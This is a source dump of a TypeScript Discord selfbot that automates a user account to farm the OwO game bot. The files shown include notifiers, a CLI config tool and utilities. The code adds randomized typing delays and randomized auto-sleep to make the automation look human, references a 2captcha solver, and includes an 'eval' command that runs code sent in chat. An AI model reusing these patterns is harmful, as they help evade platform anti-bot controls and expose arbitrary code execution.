25 | * 26 | * @param min - The minimum value (inclusive). 27 | * @param max - The maximum value (exclusive). 28 | * @param abs - If true, returns the absolute value of the random integer. Defaults to true. 29 | * @returns A random integer in the specified range, optionally absolute. 30 | * @throws {Error} If `min` and `max` are the same value. 31 | */ 32 | export const ranInt = (min: number, max: number, abs = true): number => { 33 | if (min === max) { 34 | throw new Error("Min and max cannot be the same value."); 35 | } 36 | 37 | const randomValue = Math.floor(Math.random() * (max - min) + min); 38 | return abs ? Math.abs(randomValue) : randomValue; 39 | } -------------------------------------------------------------------------------- /src/handlers/eventsHandler.ts: -------------------------------------------------------------------------------- 1 | import path from "node:path"; 2 | import fs from "node:fs"; 3 | 4 | import { Schematic } from "@/structure/Schematic.js"; 5 | import { logger } from "@/utils/logger.js"; 6 | import { importDefault } from "@/utils/import.js"; 7 | import { EventOptions } from "@/typings/index.js"; 8 | 9 | export default Schematic.registerHandler({ 10 | run: async (BaseParams) => { 11 | const { agent } = BaseParams; 12 | const eventsFolder = path.join(agent.rootDir, "events"); 13 | const statDir = fs.statSync(eventsFolder); 14 | if (!statDir.isDirectory()) { 15 | logger.warn(`Events folder not found, creating...`); 16 | fs.mkdirSync(eventsFolder, { recursive: true }); 17 | } 18 | agent.client.removeAllListeners(); 19 | for (const file of fs.readdirSync(eventsFolder)) { 20 | if (!file.endsWith(".js") && !file.endsWith(".ts")) { 21 | logger.warn(`Skipping non-JS/TS file: ${file}`); 22 | continue; 23 | } 24 | 25 | const filePath = path.join(eventsFolder, file); 26 | try { 27 | const event = await importDefault(filePath); 28 | if (!event || typeof event !== "object" || !event.name) { 29 | logger.warn(`Invalid event in ${filePath}, skipping...`); 30 | continue; 31 | } 32 | if (event.disabled) continue; 33 | agent.client[event.once ? "once" : "on"]( 34 | event.event, 35 | (...args) => void event.handler(BaseParams, ...args) 36 | ); 37 | logger.debug(`Loaded event: ${event.name} from ${filePath}`); 38 | } catch (error) { 39 | logger.error(`Error loading event from ${filePath}:`); 40 | logger.error(error as Error); 41 | } 42 | } 43 | }, 44 | }); 45 | -------------------------------------------------------------------------------- /src/structure/core/ExtendedClient.ts: -------------------------------------------------------------------------------- 1 | import { Client, ClientOptions } from "discord.js-selfbot-v13"; 2 | 3 | import { SendMessageOptions } from "@/typings/index.js"; 4 | import { logger } from "@/utils/logger.js"; 5 | import { ranInt } from "@/utils/math.js"; 6 | 7 | export class ExtendedClient extends Client { 8 | constructor(options: ClientOptions = {}) { 9 | super(options); 10 | } 11 | 12 | public registerEvents = () => { 13 | this.on("debug", logger.debug); 14 | this.on("warn", logger.warn); 15 | this.on("error", logger.error); 16 | } 17 | 18 | public sendMessage = async ( 19 | message: string, 20 | { 21 | channel, 22 | prefix = "", 23 | typing = ranInt(500, 1000), 24 | skipLogging = false, 25 | }: SendMessageOptions 26 | ) => { 27 | await channel.sendTyping() 28 | await this.sleep(typing); 29 | 30 | const command = message.startsWith(prefix) ? message : `${prefix} ${message}`; 31 | 32 | channel.send(command); 33 | if (!skipLogging) logger.sent(command) 34 | } 35 | 36 | public checkAccount = (token?: string) => { 37 | return new Promise((resolve, reject) => { 38 | this.once("ready", () => resolve(this.user?.id!)); 39 | 40 | try { 41 | if (token) { 42 | this.login(token) 43 | } else { 44 | this.QRLogin() 45 | } 46 | } catch (error) { 47 | reject(error); 48 | } 49 | }); 50 | } 51 | } -------------------------------------------------------------------------------- /src/features/autoSleep.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { formatTime } from "@/utils/time.js"; 3 | import { logger } from "@/utils/logger.js"; 4 | import { mapInt, ranInt } from "@/utils/math.js"; 5 | 6 | 7 | export default Schematic.registerFeature({ 8 | name: "autoSleep", 9 | cooldown: () => 60 * 1000, 10 | condition: async ({ agent }) => { 11 | if (!agent.config.autoSleep) return false; 12 | 13 | return agent.config.autoSleep && (agent.totalCommands + agent.totalTexts) - agent.lastSleepAt >= agent.autoSleepThreshold; 14 | }, 15 | run: ({ agent, t }) => { 16 | const commandsSinceLastSleep = (agent.totalCommands + agent.totalTexts) - agent.lastSleepAt; 17 | let sleepTime = mapInt(commandsSinceLastSleep, 32, 600, 5 * 60 * 1000, 45 * 60 * 1000); 18 | sleepTime = ranInt(sleepTime * 0.65, sleepTime * 1.35); // Add some randomness to the sleep time 19 | 20 | const nextThreshold = ranInt(32, 600); 21 | agent.lastSleepAt = (agent.totalCommands + agent.totalTexts); // Update the last sleep time to the current command count 22 | agent.autoSleepThreshold = nextThreshold; // Add a random padding to the threshold for the next sleep 23 | 24 | logger.info(t("features.autoSleep.sleeping", { 25 | duration: formatTime(0, sleepTime), 26 | commands: commandsSinceLastSleep 27 | })); 28 | 29 | logger.info(t("features.autoSleep.nextSleep", { 30 | commands: nextThreshold, 31 | duration: formatTime(0, mapInt( 32 | nextThreshold, 33 | 52, 600, // Map the range of commands to the sleep time 34 | 5 * 60 * 1000, 40 * 60 * 1000 35 | )) 36 | })); 37 | 38 | return agent.client.sleep(sleepTime) 39 | } 40 | }) -------------------------------------------------------------------------------- /src/services/notifiers/CallNotifier.ts: -------------------------------------------------------------------------------- 1 | import { FeatureFnParams, NotificationPayload, NotifierStrategy } from "@/typings/index.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | import { t } from "@/utils/locales.js"; 4 | 5 | export class CallNotifier implements NotifierStrategy { 6 | async execute(params: FeatureFnParams, payload: NotificationPayload): Promise { 7 | const { agent } = params; 8 | const { urgency } = payload; 9 | 10 | if (!agent.config.adminID) { 11 | logger.warn(t("error.adminID.notconfigured")); 12 | return; 13 | } 14 | 15 | if (urgency !== "critical") { 16 | logger.debug("Skipping Call Notifier execution due to non-critical urgency."); 17 | return; 18 | } 19 | 20 | try { 21 | const admin = await agent.client.users.fetch(agent.config.adminID); 22 | const dms = await admin.createDM(); 23 | 24 | const connection = await agent.client.voice.joinChannel(dms, { 25 | selfDeaf: false, 26 | selfMute: true, 27 | selfVideo: false, 28 | }) 29 | logger.debug(`Joined voice channel with status: ${connection.status}`); 30 | await dms.ring(); 31 | 32 | setTimeout(() => { 33 | connection.disconnect(); 34 | logger.debug("Disconnected from voice channel after 60 seconds."); 35 | }, 60_000); 36 | } catch (error) { 37 | logger.error(`Error in CallNotifier: ${error instanceof Error ? error.message : String(error)}`); 38 | logger.error(error instanceof Error ? error.stack || "No stack trace available" : "Unknown error occurred during Call Notifier execution."); 39 | return Promise.reject(error); 40 | } 41 | } 42 | } -------------------------------------------------------------------------------- /src/structure/core/CooldownManager.ts: -------------------------------------------------------------------------------- 1 | import { Collection } from "discord.js-selfbot-v13"; 2 | 3 | /** 4 | * Manages cooldowns for features and commands, allowing you to set and check cooldown periods. 5 | * 6 | * This class provides methods to set cooldowns for specific features or commands and to check if a cooldown is currently active. 7 | * Cooldowns are tracked using a key composed of the type ("feature" or "command") and the name. 8 | * 9 | * @example 10 | * const manager = new CooldownManager(); 11 | * manager.set("command", "ping", 5000); // Set a 5-second cooldown for the "ping" command 12 | * const remaining = manager.onCooldown("command", "ping"); // Get remaining cooldown time in ms 13 | */ 14 | export class CooldownManager { 15 | private cooldowns = new Collection(); 16 | 17 | private getKey(type: "feature" | "command", name: string): string { 18 | return `${type}:${name}`; 19 | } 20 | 21 | /** 22 | * Checks if a feature or command is currently on cooldown. 23 | * @returns The remaining cooldown time in milliseconds, or 0 if not on cooldown. 24 | */ 25 | public onCooldown(type: "feature" | "command", name: string): number { 26 | const key = this.getKey(type, name); 27 | const expirationTime = this.cooldowns.get(key); 28 | if (!expirationTime) { 29 | return 0; 30 | } 31 | return Math.max(expirationTime - Date.now(), 0); 32 | } 33 | 34 | /** 35 | * Sets a cooldown for a feature or command. 36 | * @param time The cooldown duration in milliseconds. 37 | */ 38 | public set(type: "feature" | "command", name: string, time: number): void { 39 | const key = this.getKey(type, name); 40 | const expirationTime = Date.now() + time; 41 | this.cooldowns.set(key, expirationTime); 42 | } 43 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Custom Non-Commercial License 2 | 3 | Copyright (c) 2025 Kyou Izumi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction for NON-COMMERCIAL purposes only, including 8 | without limitation the rights to use, copy, modify, merge, publish, distribute, 9 | and sublicense copies of the Software for personal, educational, or research 10 | purposes, subject to the following conditions: 11 | 12 | 1. The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | 2. COMMERCIAL USE RESTRICTION: Any commercial use, including but not limited to 16 | selling, licensing for profit, or incorporating this Software into commercial 17 | products or services, is strictly prohibited without prior written permission 18 | from the copyright holder. 19 | 20 | 3. COMMERCIAL USE PERMISSION: For commercial use, you must: 21 | - Obtain explicit written permission from Kyou Izumi 22 | - Maintain all original copyright notices and attribution 23 | - Credit the original author in any commercial product documentation 24 | 25 | 4. ATTRIBUTION REQUIREMENT: Any use, modification, or distribution of this 26 | Software must retain the original copyright notice and credit to 27 | Kyou Izumi. 28 | 29 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 30 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 31 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 32 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 33 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 34 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 35 | SOFTWARE. 36 | 37 | For commercial licensing inquiries, please contact: [Your Contact Information] 38 | -------------------------------------------------------------------------------- /src/services/notifiers/MessageNotifier.ts: -------------------------------------------------------------------------------- 1 | import { FeatureFnParams, NotificationPayload, NotifierStrategy } from "@/typings/index.js"; 2 | import { t } from "@/utils/locales.js"; 3 | import { logger } from "@/utils/logger.js"; 4 | 5 | 6 | export class MessageNotifier implements NotifierStrategy { 7 | public async execute({ agent }: FeatureFnParams, payload: NotificationPayload): Promise { 8 | if (!agent.config.adminID) { 9 | logger.warn(t("error.adminID.notconfigured")); 10 | return; 11 | } 12 | 13 | try { 14 | const { title, description, urgency, sourceUrl, imageUrl, content, fields } = payload; 15 | 16 | const admin = await agent.client.users.fetch(agent.config.adminID); 17 | const dms = await admin.createDM(); 18 | 19 | let messageContent = `# Advanced Discord OwO Tool Farm Notification` 20 | messageContent += `\n\n**Title:** ${title}\n\n`; 21 | messageContent += `**Urgency:** ${urgency}\n`; 22 | messageContent += `**Content:** ${content}\n`; 23 | messageContent += `**Description:** ${description}\n\n`; 24 | 25 | if (fields && fields.length > 0) { 26 | messageContent += fields.map(f => `**${f.name}**: ${f.value}`).join('\n'); 27 | messageContent += `\n\n`; 28 | } 29 | 30 | if (sourceUrl) { 31 | messageContent += `**Source**: <${sourceUrl}>\n`; 32 | } 33 | if (imageUrl) { 34 | // For images, we can only send the link directly. 35 | messageContent += `**Image**: ${imageUrl}\n`; 36 | } 37 | 38 | await dms.send(messageContent); 39 | } catch (error) { 40 | logger.error("Failed to send message notification:"); 41 | logger.error(error instanceof Error ? error.message : String(error)); 42 | } 43 | } 44 | } -------------------------------------------------------------------------------- /src/commands/eval.ts: -------------------------------------------------------------------------------- 1 | import { inspect } from "node:util"; 2 | 3 | import { Schematic } from "@/structure/Schematic.js"; 4 | 5 | export default Schematic.registerCommand({ 6 | name: "eval", 7 | description: "commands.eval.description", 8 | usage: "eval ", 9 | execute: async ({ agent, message, t, args }) => { 10 | if (!args || !args.length) { 11 | return message.reply({ 12 | content: t("commands.eval.noCode") 13 | }); 14 | } 15 | 16 | const startTime = Date.now(); 17 | const code = args.join(" "); 18 | 19 | try { 20 | const result = await Promise.race([ 21 | (async () => { 22 | const asyncCode = code.includes("await") ? `(async () => { ${code} })()` : code; 23 | return eval(asyncCode); 24 | })(), 25 | new Promise((_, reject) => setTimeout(() => reject(new Error("Execution timed out")), 5000)) 26 | ]); 27 | 28 | const output = inspect(result, { 29 | depth: 2, 30 | maxStringLength: 500, 31 | }); 32 | message.reply({ 33 | content: t("commands.eval.success", { 34 | type: typeof result, 35 | time: Date.now() - startTime, 36 | result: output.slice(0, 1000) 37 | }), 38 | }); 39 | } catch (error) { 40 | if (error instanceof Error && error.message === 'Execution timed out') { 41 | message.reply({ 42 | content: t("commands.eval.timeout", { 43 | timeout: Date.now() - startTime 44 | }) 45 | }); 46 | } else { 47 | message.reply({ 48 | content: t("commands.eval.error", { 49 | error: String(error).slice(0, 1000) 50 | }) 51 | }); 52 | } 53 | } 54 | } 55 | }); -------------------------------------------------------------------------------- /src/utils/path.ts: -------------------------------------------------------------------------------- 1 | import fs from "node:fs"; 2 | import path from "node:path"; 3 | 4 | /** 5 | * Recursively retrieves all files with the specified suffix from a directory and its subdirectories. 6 | * 7 | * @param dir - The root directory to search in. 8 | * @param suffix - The file suffix to filter by (e.g., ".js"). 9 | * @returns An array of file paths matching the given suffix. 10 | * @throws If the specified directory does not exist. 11 | */ 12 | export const getFiles = (dir: string, suffix: string): string[] => { 13 | if (!fs.existsSync(dir)) { 14 | throw new Error(`Directory does not exist: ${dir}`); 15 | } 16 | 17 | const files: string[] = []; 18 | const items = fs.readdirSync(dir); 19 | 20 | for (const item of items) { 21 | const itemPath = path.join(dir, item); 22 | 23 | if (fs.statSync(itemPath).isDirectory()) { 24 | files.push(...getFiles(itemPath, suffix)); 25 | } else if (item.endsWith(suffix)) { 26 | files.push(itemPath); 27 | } 28 | } 29 | 30 | return files; 31 | } 32 | 33 | /** 34 | * Recursively copies the contents of a source directory to a destination directory. 35 | * 36 | * @param source - The path to the source directory. 37 | * @param destination - The path to the destination directory. 38 | * @throws If the source directory does not exist. 39 | */ 40 | export const copyDirectory = (source: string, destination: string): void => { 41 | if (!fs.existsSync(source)) { 42 | throw new Error(`Source directory does not exist: ${source}`); 43 | } 44 | 45 | if (!fs.existsSync(destination)) { 46 | fs.mkdirSync(destination, { recursive: true }); 47 | } 48 | 49 | const items = fs.readdirSync(source); 50 | 51 | for (const item of items) { 52 | const sourcePath = path.join(source, item); 53 | const destPath = path.join(destination, item); 54 | 55 | if (fs.statSync(sourcePath).isDirectory()) { 56 | copyDirectory(sourcePath, destPath); 57 | } else { 58 | fs.copyFileSync(sourcePath, destPath); 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /src/cli/import.ts: -------------------------------------------------------------------------------- 1 | import path from "node:path"; 2 | import fs from "node:fs"; 3 | import { ConfigSchema, Configuration } from "@/schemas/ConfigSchema.js"; 4 | import { BaseAgent } from "@/structure/BaseAgent.js"; 5 | import { logger } from "@/utils/logger.js"; 6 | import { ExtendedClient } from "@/structure/core/ExtendedClient.js"; 7 | 8 | export const command = "import "; 9 | export const desc = "Import a config file for instant setup"; 10 | export const builder = { 11 | filename: { 12 | type: "string", 13 | demandOption: true, 14 | description: "The name of the config file to import", 15 | }, 16 | }; 17 | 18 | export const handler = async (argv: { filename: string }) => { 19 | const filePath = path.resolve(process.cwd(), argv.filename); 20 | 21 | if (!fs.existsSync(filePath)) { 22 | logger.error(`File ${filePath} does not exist.`); 23 | return; 24 | } 25 | 26 | if (path.extname(filePath) !== ".json") { 27 | logger.error(`File ${filePath} is not a JSON file!`); 28 | return; 29 | } 30 | 31 | let config: Configuration; 32 | try { 33 | const configData = fs.readFileSync(filePath, "utf-8"); 34 | config = JSON.parse(configData); 35 | 36 | // Validate the configuration 37 | const validatedConfig = ConfigSchema.safeParse(config); 38 | if (!validatedConfig.success) { 39 | throw new Error(`Invalid configuration: ${validatedConfig.error.message}`); 40 | } 41 | 42 | logger.info("Configuration imported successfully"); 43 | 44 | const client = new ExtendedClient(); 45 | try { 46 | await client.checkAccount(validatedConfig.data.token); 47 | await BaseAgent.initialize(client, validatedConfig.data); 48 | } catch (error) { 49 | logger.error("Failed to start bot with imported configuration:"); 50 | logger.error(error as Error); 51 | } 52 | } catch (error) { 53 | logger.error("Error importing configuration:"); 54 | logger.error(error as Error); 55 | process.exit(1); 56 | } 57 | }; -------------------------------------------------------------------------------- /src/services/notifiers/WebhookNotifier.ts: -------------------------------------------------------------------------------- 1 | import { 2 | FeatureFnParams, 3 | NotificationPayload, 4 | NotifierStrategy, 5 | } from "@/typings/index.js"; 6 | import { logger } from "@/utils/logger.js"; 7 | import { MessageEmbed, WebhookClient } from "discord.js-selfbot-v13"; 8 | 9 | export class WebhookNotifier implements NotifierStrategy { 10 | public async execute( 11 | { agent }: FeatureFnParams, 12 | payload: NotificationPayload 13 | ): Promise { 14 | if (!agent.config.webhookURL) { 15 | logger.warn("Webhook URL is not configured, skipping Webhook Notifier execution."); 16 | return; 17 | } 18 | 19 | try { 20 | const { title, description, urgency, sourceUrl, imageUrl, content, fields } = payload; 21 | const webhook = new WebhookClient({ url: agent.config.webhookURL }); 22 | 23 | const embed = new MessageEmbed() 24 | .setTitle(title) 25 | .setURL(sourceUrl ?? "") 26 | .setDescription(description) 27 | .setColor( 28 | urgency === "critical" 29 | ? "#FF0000" 30 | : "#00FF00" 31 | ) 32 | .setFooter({ 33 | text: "Copyright BKI Kyou Izumi © 2022-2025", 34 | iconURL: "https://i.imgur.com/EqChQK1.png", 35 | }) 36 | .setTimestamp(); 37 | 38 | if (imageUrl) embed.setImage(imageUrl); 39 | if (fields) embed.addFields(fields); 40 | 41 | await webhook.send({ 42 | username: "Captcha The Detective", 43 | content, 44 | avatarURL: 45 | agent.client.user?.displayAvatarURL() ?? 46 | "https://i.imgur.com/9wrvM38.png", 47 | embeds: [embed], 48 | }); 49 | } catch (error) { 50 | logger.error("Failed to send webhook notification:"); 51 | logger.error(error instanceof Error ? error.message : String(error)); 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "advanced-discord-owo-tool-farm", 3 | "version": "4.0.0-alpha-2.7", 4 | "description": "Community Discord OwO Selfbot made in Vietnam [Copyright © Kyou-Izumi 2025]", 5 | "main": "index.ts", 6 | "type": "module", 7 | "engines": { 8 | "node": ">=16" 9 | }, 10 | "scripts": { 11 | "prepare": "tsc && tsc-alias", 12 | "build": "tsc && tsc-alias", 13 | "setup": "npm install", 14 | "start": "npx tsx index.ts", 15 | "start:js": "node dest/index.js", 16 | "dev": "cross-env NODE_ENV=development npx tsx ." 17 | }, 18 | "repository": { 19 | "type": "git", 20 | "url": "git+https://github.com/Kyou-Izumi/advanced-discord-owo-tool-farm.git" 21 | }, 22 | "keywords": [ 23 | "discord-owo-selfbot", 24 | "discord-owo-tool", 25 | "owo-auto-farm", 26 | "owo-tool-farm", 27 | "owo-selfbot" 28 | ], 29 | "author": { 30 | "name": "Kyou Izumi", 31 | "email": "ntt.eternity2k6@gmail.com", 32 | "url": "https://www.facebook.com/LongAKolangle" 33 | }, 34 | "license": "MIT", 35 | "bugs": { 36 | "url": "https://github.com/Kyou-Izumi/advanced-discord-owo-tool-farm/issues" 37 | }, 38 | "homepage": "https://github.com/Kyou-Izumi/advanced-discord-owo-tool-farm#readme", 39 | "dependencies": { 40 | "@inquirer/core": "^10.1.14", 41 | "@inquirer/prompts": "^7.6.0", 42 | "2captcha": "^3.0.5-2", 43 | "adm-zip": "^0.5.16", 44 | "axios": "^1.10.0", 45 | "axios-cookiejar-support": "^6.0.3", 46 | "chalk": "^5.4.1", 47 | "cross-env": "^7.0.3", 48 | "debug": "^4.4.1", 49 | "discord.js-selfbot-v13": "^3.7.0", 50 | "lodash": "^4.17.21", 51 | "node-notifier": "^10.0.1", 52 | "tough-cookie": "^5.1.2", 53 | "winston": "^3.17.0", 54 | "yargs": "^18.0.0", 55 | "zod": "^4.0.5" 56 | }, 57 | "devDependencies": { 58 | "@types/adm-zip": "^0.5.7", 59 | "@types/blessed": "^0.1.25", 60 | "@types/debug": "^4.1.12", 61 | "@types/lodash": "^4.17.20", 62 | "@types/node": "^24.0.13", 63 | "@types/node-notifier": "^8.0.5", 64 | "@types/yargs": "^17.0.33", 65 | "tsc-alias": "^1.8.16", 66 | "tsx": "^4.20.3", 67 | "typescript": "^5.8.3" 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/services/notifiers/SoundNotifier.ts: -------------------------------------------------------------------------------- 1 | import { FeatureFnParams, NotificationPayload, NotifierStrategy } from "@/typings/index.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | import { spawn } from "node:child_process"; 4 | 5 | export class SoundNotifier implements NotifierStrategy { 6 | public async execute({ agent }: FeatureFnParams, payload: NotificationPayload): Promise { 7 | // Don't play sounds for normal-urgency notifications 8 | if (payload.urgency === "normal" || !agent.config.musicPath) { 9 | return; 10 | } 11 | 12 | let command: string; 13 | let args: string[]; 14 | 15 | switch (process.platform) { 16 | case "win32": 17 | // Using powershell is more robust than `start`. 18 | command = "powershell"; 19 | args = ["-c", `(New-Object Media.SoundPlayer "${agent.config.musicPath}").PlaySync();`]; 20 | break; 21 | case "darwin": 22 | command = "afplay"; 23 | args = [agent.config.musicPath]; 24 | break; 25 | case "linux": 26 | // Check for common players, defaulting to aplay. 27 | command = "aplay"; // or paplay, etc. 28 | args = [agent.config.musicPath]; 29 | break; 30 | case "android": 31 | command = "termux-media-player"; 32 | args = ["play", agent.config.musicPath]; 33 | break; 34 | default: 35 | logger.warn(`Sound notifications are not supported on platform: ${process.platform}`); 36 | return; 37 | } 38 | 39 | try { 40 | logger.debug(`Executing sound command: ${command} ${args.join(" ")}`); 41 | const child = spawn(command, args, { shell: false, detached: true }); 42 | // unref() allows the main process to exit even if the sound is playing. 43 | child.unref(); 44 | } catch (error) { 45 | logger.error("Failed to play sound notification:"); 46 | logger.error(error as Error); 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /src/utils/locales.ts: -------------------------------------------------------------------------------- 1 | import lodash from "lodash" 2 | 3 | import locales from "@/locales/index.js" 4 | import { Path } from "@/typings/path-value.js"; 5 | import { logger } from "./logger.js"; 6 | 7 | export const translate = (locale: Locale) => { 8 | let data = locales[locale]; 9 | if (!data) { 10 | logger.warn(`Locale "${locale}" not found, falling back to "en"`); 11 | process.env.LOCALE = "en"; // Set the environment variable to English if the locale is not found 12 | data = locales.en; // Fallback to English if the locale is not found 13 | } 14 | 15 | return (path: I18nPath, variables?: Record) => { 16 | const template = lodash.get(data, path) as string; 17 | if (!template || typeof template !== 'string') { 18 | logger.warn(`Translation key "${path}" not found or invalid for locale "${locale}"`); 19 | return path; 20 | } 21 | 22 | if (!variables) { 23 | return template; 24 | } 25 | 26 | // Replace {variable} placeholders with actual values 27 | return template.replace(/\{(\w+)\}/g, (match: string, key: string) => { 28 | return variables[key] !== undefined ? String(variables[key]) : match; 29 | }); 30 | } 31 | } 32 | 33 | export const i18n = (locale: Locale = "en") => { 34 | return { 35 | t: translate(locale), 36 | locale, 37 | } 38 | } 39 | 40 | // Dynamic exports that get the current locale from environment 41 | export const t = (path: I18nPath, variables?: Record) => { 42 | const currentLocale = process.env.LOCALE as Locale || "en"; 43 | return translate(currentLocale)(path, variables); 44 | } 45 | 46 | // Function to get current locale dynamically 47 | export const getCurrentLocale = (): Locale => { 48 | return process.env.LOCALE as Locale || "en"; 49 | } 50 | 51 | // For backward compatibility - this will be the locale at module load time 52 | // Components that need dynamic locale should use getCurrentLocale() 53 | export const locale = process.env.LOCALE as Locale || "en"; 54 | 55 | export type I18nPath = Path; 56 | export type Translationfn = ReturnType; 57 | export type Locale = keyof typeof locales 58 | -------------------------------------------------------------------------------- /src/cli/generate.ts: -------------------------------------------------------------------------------- 1 | import fs from "node:fs"; 2 | import path from "node:path"; 3 | 4 | import { Configuration } from "@/schemas/ConfigSchema.js"; 5 | import { logger } from "@/utils/logger.js"; 6 | import { t } from "@/utils/locales.js"; 7 | 8 | export const command = "generate [filename]"; 9 | export const desc = "Generate a new config file"; 10 | export const builder = { 11 | filename: { 12 | type: "string", 13 | default: "config-sample.json", 14 | description: "The name of the config file to generate", 15 | }, 16 | }; 17 | export const handler = async (argv: { filename: string }) => { 18 | const configTemplate: Partial = { 19 | token: "", 20 | guildID: "", 21 | channelID: ["", "", ""], 22 | wayNotify: ["webhook", "dms", "call", "music", "popup"], 23 | webhookURL: "https://your-webhook-url.com", 24 | adminID: "", 25 | musicPath: "./path/to/music.mp3", 26 | prefix: "!", 27 | captchaAPI: "2captcha", 28 | apiKey: "", 29 | autoHuntbot: true, 30 | autoTrait: "efficiency", 31 | useAdotfAPI: true, 32 | autoPray: ["pray", "pray some-ID-here"], 33 | autoGem: 1, 34 | gemTier: ["common", "uncommon", "rare", "epic", "mythical"], 35 | useSpecialGem: false, 36 | autoLootbox: true, 37 | autoFabledLootbox: false, 38 | autoQuote: ["owo", "quote"], 39 | autoRPP: ["run", "pup", "piku"], 40 | autoDaily: true, 41 | autoCookie: true, 42 | autoClover: true, 43 | useCustomPrefix: false, 44 | autoSell: true, 45 | autoSleep: true, 46 | autoReload: true, 47 | autoResume: true, 48 | showRPC: true 49 | }; 50 | 51 | const filePath = path.resolve(process.cwd(), argv.filename); 52 | 53 | if (fs.existsSync(filePath)) { 54 | logger.error(t("cli.generate.fileExists", { filePath })); 55 | return; 56 | } 57 | 58 | fs.writeFileSync(filePath, JSON.stringify(configTemplate, null, 4)); 59 | logger.info(t("cli.generate.configGenerated", { filePath })); 60 | }; -------------------------------------------------------------------------------- /src/utils/time.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Formats the duration between two timestamps into a human-readable string. 3 | * 4 | * The output format is: "{days}d {hh}:{mm}:{ss}", where: 5 | * - {days} is the number of full days, 6 | * - {hh} is the number of hours (zero-padded to 2 digits), 7 | * - {mm} is the number of minutes (zero-padded to 2 digits), 8 | * - {ss} is the number of seconds (zero-padded to 2 digits). 9 | * 10 | * @param startTimestamp - The start time in milliseconds since the Unix epoch. 11 | * @param endTimestamp - The end time in milliseconds since the Unix epoch. 12 | * @returns A formatted string representing the duration between the two timestamps. 13 | */ 14 | export const formatTime = (startTimestamp: number, endTimestamp: number): string => { 15 | const duration = endTimestamp - startTimestamp; 16 | const seconds = Math.floor((duration / 1000) % 60); 17 | const minutes = Math.floor((duration / (1000 * 60)) % 60); 18 | const hours = Math.floor((duration / (1000 * 60 * 60)) % 24); 19 | const days = Math.floor(duration / (1000 * 60 * 60 * 24)); 20 | 21 | const pad = (n: number) => String(n).padStart(2, "0"); 22 | return `${days}d ${pad(hours)}:${pad(minutes)}:${pad(seconds)}`; 23 | }; 24 | 25 | /** 26 | * Parses a time string with a unit suffix (e.g., "10s", "5m", "2h", "1d") and converts it to milliseconds. 27 | * 28 | * @param timeStr - The time string to parse. Must be in the format of a number followed by a unit ('s', 'm', 'h', or 'd'). 29 | * @returns The equivalent time in milliseconds, or `null` if the input is invalid. 30 | * 31 | * @example 32 | * parseTimeString("10s"); // returns 10000 33 | * parseTimeString("5m"); // returns 300000 34 | * parseTimeString("2h"); // returns 7200000 35 | * parseTimeString("1d"); // returns 86400000 36 | * parseTimeString("invalid"); // returns null 37 | */ 38 | export const parseTimeString = (timeStr: string): number | null => { 39 | const match = timeStr.match(/^(\d+)([smhd])$/i); 40 | if (!match) return null; 41 | 42 | const [, value, unit] = match; 43 | const num = parseInt(value, 10); 44 | 45 | switch (unit.toLowerCase()) { 46 | case 's': return num * 1000; // seconds 47 | case 'm': return num * 60 * 1000; // minutes 48 | case 'h': return num * 60 * 60 * 1000; // hours 49 | case 'd': return num * 24 * 60 * 60 * 1000; // days 50 | default: return null; 51 | } 52 | } -------------------------------------------------------------------------------- /src/commands/pause.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { formatTime, parseTimeString } from "@/utils/time.js"; 3 | import { logger } from "@/utils/logger.js"; 4 | 5 | export default Schematic.registerCommand({ 6 | name: "pause", 7 | description: "commands.pause.description", 8 | usage: "pause [duration] (e.g., pause 1h, pause 30m, pause 45s)", 9 | execute: async ({ agent, message, t, args }) => { 10 | if (agent.farmLoopPaused) { 11 | return message.reply({ 12 | content: t("commands.pause.alreadyPaused") 13 | }); 14 | } 15 | 16 | const timeArg = args?.[0]; 17 | let duration: number | null = null; 18 | 19 | if (timeArg) { 20 | duration = parseTimeString(timeArg); 21 | if (duration === null) { 22 | return message.reply({ 23 | content: t("commands.pause.invalidDuration") 24 | }); 25 | } 26 | 27 | // Set reasonable limits (max 24 hours) 28 | if (duration > 24 * 60 * 60 * 1000) { 29 | return message.reply({ 30 | content: t("commands.pause.durationTooLong") 31 | }); 32 | } 33 | } 34 | 35 | agent.farmLoopPaused = true; 36 | logger.info(t("logging.farmLoop.paused")); 37 | 38 | if (duration) { 39 | // Auto-resume after the specified duration 40 | setTimeout(() => { 41 | if (agent.farmLoopPaused) { 42 | agent.farmLoopPaused = false; 43 | logger.info(t("logging.farmLoop.resumed")); 44 | 45 | if (!agent.farmLoopRunning) { 46 | agent.farmLoop(); 47 | } 48 | 49 | message.channel.send({ 50 | content: t("commands.pause.autoResumed") 51 | }); 52 | } 53 | }, duration); 54 | 55 | message.reply({ 56 | content: t("commands.pause.successWithTimeout", { 57 | duration: formatTime(0, duration) 58 | }) 59 | }); 60 | } else { 61 | message.reply({ 62 | content: t("commands.pause.success") 63 | }); 64 | } 65 | } 66 | }); 67 | -------------------------------------------------------------------------------- /src/structure/core/DataManager.ts: -------------------------------------------------------------------------------- 1 | 2 | import path from "node:path"; 3 | import fs from "node:fs"; 4 | import os from "node:os"; 5 | 6 | import { logger } from "@/utils/logger.js"; 7 | import { t } from "@/utils/locales.js"; 8 | 9 | /** 10 | * 